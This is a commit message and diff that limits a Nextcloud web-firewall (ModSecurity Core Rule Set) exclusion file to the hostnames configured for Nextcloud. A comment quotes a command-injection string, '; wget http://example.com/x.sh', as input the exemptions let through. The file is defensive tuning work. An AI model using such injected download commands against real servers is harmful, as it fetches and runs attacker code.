SWW_APPS: an app's Core Rule Set fixes apply only to the hostnames that serve it (closes #220)

Each app's fixes are one .conf file and one entry in apps. They apply
only while Inspect has set the app's transaction variable, such as
tx.app_gitea. SWW_APPS names each hostname's apps. A hostname gets only
its apps' fixes; while SWW_APPS is unset, every hostname gets every
app's fixes.

A hostname in SWW_APPS that is not a DNS name, such as *.example.com,
stops the start. Unset, SWW_APPS is logged at start as null; set
empty, as "".

Model: opus-5-5

internal/coreruleset/nextcloud.conf

@@ -1,4 +1,4 @@
-# The fourteenth change: on Nextcloud's paths, some fields skip the rules that
+# Nextcloud's fixes: on Nextcloud's paths, some fields skip the rules that
 # refused ordinary Nextcloud requests there. They are the fields where Nextcloud
 # sends a search, a name, a file name, a folder, a comment, a note, a status or
 # a document's text. Each exclusion runs with the request, before the rules it
@@ -29,6 +29,13 @@
 # "; wget http://example.com/x.sh" reaches Nextcloud in these fields. SQL
 # injection, path traversal and script injection are still refused there.
 
+# Unless SWW_APPS lists nextcloud for the request's hostname, every rule below
+# is skipped. Inspect sets tx.app_nextcloud when it does.
+# The skip reaches only phase 1, so a rule of a later phase must check
+# tx.app_nextcloud itself.
+SecRule &TX:app_nextcloud "@eq 0" \
+    "id:900090,phase:1,pass,nolog,skipAfter:END_NEXTCLOUD"
+
 # The sync client and the Files app use these WebDAV methods besides those
 # the first change allows, on /remote.php/dav/ and /public.php/dav/ and on the
 # older /remote.php/webdav/ and /public.php/webdav/. 911100 refused each:
@@ -306,3 +313,5 @@ SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/addressbooks/" \
     SecRule REQUEST_METHOD "@streq MKCOL" \
         "ctl:ruleRemoveTargetById=932125;XML:/*,\
         ctl:ruleRemoveTargetById=932230;XML:/*"
+
+SecMarker END_NEXTCLOUD